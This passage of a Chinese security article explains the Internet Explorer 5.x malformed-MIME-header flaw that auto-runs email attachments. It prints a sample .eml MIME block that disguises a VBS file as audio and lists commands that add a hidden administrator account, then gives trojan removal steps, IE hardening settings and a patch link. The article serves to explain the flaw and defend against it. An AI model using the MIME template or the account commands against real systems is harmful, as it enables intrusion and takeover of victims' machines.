  该漏洞是由一个国外安全小组发现的,该小组发现在MIME在处理不正常的MIME类型时存在个问题,攻击者可以创建一个Html格式的E-mail,该E-mail的附件为可执行文件,通过修改MIME头,使IE不正确处理这个MIME所指定的可执行文件附件。在此,我们来了解一下,IE是如何处理附件的:一般情况下如果附件是文本文件,IE会读它,如果是VIDEO CLIP,IE会查看它;如果附件是图形文件,IE就会显示它;如果附件是一个EXE文件呢?IE会提示用户是否执行!但令人恐惧的是,当攻击者更改MIME类型后,IE就不再提示用户是否执行而直接运行该附件!从而使攻击者加在附件中的程序、攻击命令能够按照攻击者设想的情况进行。大家不妨想像一下,如果前面提到的wincfg.exe不是木马,而是恶意程序江民炸弹又会怎么样?刹那间,你的硬盘就完蛋了(如果你不懂解法的话)!在Win9X\ME以及WinNT4和Win2k下的Internet Explorer 5.0、5.01、5.5均存在该漏洞,我们常用的微软邮件客户端软件Outlook Express也存在此漏洞。
3.错误的MIME头漏洞的危害
  让我们来看一下如果把上面所说的代码中最后这部分变为下面这样,会产生什么结果呢?
--1
Content-Type: audio/x-wav;
name="hello.vbs"
Content-Transfer-Encoding: quoted-printable
Content-ID:
msgbox("你的计算机好危险哦") 说明:在此可以加上任意的VBS的代码
--1
  将该程序编辑存为eml格式的文件,我们运行它,可以看到屏幕上打开一个窗体,显示“你的计算机好危险哦”。对于这种利用错误的MIME头漏调用VBS文件的形式,会有多大危害呢?想一想,当初的爱虫病毒是怎么样的?爱虫病毒还需要骗你执行它才使你中毒,但一旦和错误MIME头漏洞结合起来,就根本不需要你执行了,只要你收了这封信且阅读它,你就中招了。
  不仅如此,MIME还可以与command、cmd命令相结合,进行进一步的攻击。
  对于WIN9X用户来说,只要你的IE浏览器是5.0、5.01、5.5之中的任意一个版本,在没打补丁的情况下,攻击者完全可以利用欺骗的方式让你打开含有攻击命令的、带有错误MIME头的E-mail文件,达到攻击的目的。事实上,format、deletetree、move等一切MS-DOS下的命令均可加载在其中。
  而对于WINNT、WIN2K用户,尤其是那些不安分守己且网络安全知识贫乏的系统管理员,利用公司的主服务器上网,攻击者可以给他发封信,然后利用在以上所示代码中加上诸如:
net user test 1234567/add
net localgroup administrators test/add
这样的命令增加用户或者超级用户权限,达到进一步入侵的目的。
  现在,再回过头来看看我所中的木马是怎么回事。其实,wincfg.exe这个文件在这里相当于邮件的附件,从我们所列的代码中可以看到,攻击者把wincfg.exe的的类型定义为audio/x-wav,由于邮件的类型为audio/x-wav时,IE存在的这个错误的MIME头漏洞会将附件认为是音频文件自动尝试打开,结果导致邮件文件a.eml中的附件wincfg.exe被执行。在win2000下,即使是用鼠标点击下载下来的a.eml,或是拷贝粘贴该文件,都会导致a.eml中的附件被运行,微软的这个漏洞可真是害人不浅啊。现在看来,原先那些攻击者想方设法欺骗被攻击目标执行修改过的木马等后门程序,是多么落后的手段啊!如今,利用微软“创造”的这个大漏洞来进行攻击,是那么的简单、多么的容易啊!唯一的条件就是被攻击目标使用IE5.0、5.01、5.5这些浏览器中的一种,使用IE浏览器的用户到底有多少呢?看看你身边的朋友就知道答案了!
解决办法:
  如果你浏览网页中了该木马,可以用下面的方法来加以解决:
  (1)点击“开始”→“运行”,在弹出的对话框中输入regedit,回车。然后展开注册表到HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\CurrentVersion\Run下删除wincfg.exe;
  (2)到你的计算机的系统目录下,如果操作系统是Win2000,则到c:\winnt下;如果你的操作系统为Win98,则到c:\windows下,删除其中的wincfg.exe 文件。
  (3)重新启动机器,一切OK了!
  预防方法:
  1.最好的办法是不使用IE和Outlook。可以用Netscape代替IE,用Foxmail代替Outlook。如果非要用,建议你按下面的方法进行操作:
  (1)运行IE,点击“工具→Internet选项→安全→Internet区域的安全级别”,把安全极别由“中”改为“高”。
  (2)接着,点击“自定义级别”按钮,在弹出的窗口中,禁用“对标记为可安全执行脚本的ActiveX控件执行脚本”选项。
  (3)同理,在此窗口中禁用IE的“活动脚本”和“文件下载”功能。
  (4)禁用所有的ActiveX控制和插件。
  (5)设置资源管理器成“始终显示扩展名”。
  (6)禁止以WEB方式使用资源管理器。
  (7)取消“下载后确认打开”这种扩展名属性设置。
  (8)永远不直接从IE浏览器中选择打开文件。
  2.不要受陌生人的诱惑打开别人给你的RUL,如果确实想看,可以通过一些下载工具把页面下载下来,然后用记事本等一些文本编辑工具打开查看代码。
  3.微软公司为该漏洞提供了一个补丁,赶快到下面所列出的URL去看看吧:
http://www.microsoft.com/windows/ie/download/critical/Q290108/default.asp


文章作者:未知  更新日期:2005-12-09
〖文章浏览:〗〖打印文章〗〖发送文章
·五种设置提高 Windows XP系统运行速度2005-05-07
·Windows XP 安装界面修改完整篇2006-10-30
·Windows 注册表 二2006-05-14
·如何提高windows系统的启动速度2006-05-14
·Windows2000\XP 服务列表及说明2005-12-15
·Windows 98操作系统极品优化实录2005-05-07
·苹果笔记本电脑(Apple MacBook Pro V9.3)驱动程序 for Windows 7 x642014-02-17
·华硕笔记本电脑(ASUS X550C)驱动程序 for Windows 7 x642014-02-17
·优捷易 盘符一键切换 V1.0(Windows 系统的磁盘分区盘符修改)2022-06-26
·软媒魔方 V6.25(Windows 系统设置与优化软件)2021-11-05
·Visual Basic:windows任务管理程序源代码2005-07-05
·Visual Basic:如何得到当前windows的版本号2 2005-07-06
阅读说明
·本站大部分文章转载于网络,如有侵权请留言告知,本站即做删除处理。
·本站法律法规类文章转载自[中国政府网(www.org.cn)],相关法律法规如有修订,请浏览[中国政府网]网站。
·本站转载的文章,不为其有效性,实效性,安全性,可用性等做保证。
·如果有什么问题,或者意见建议,请联系[网站管理员]。
  当百网
  本站使用【啊估文章软件站】网站系统    网站管理员留言簿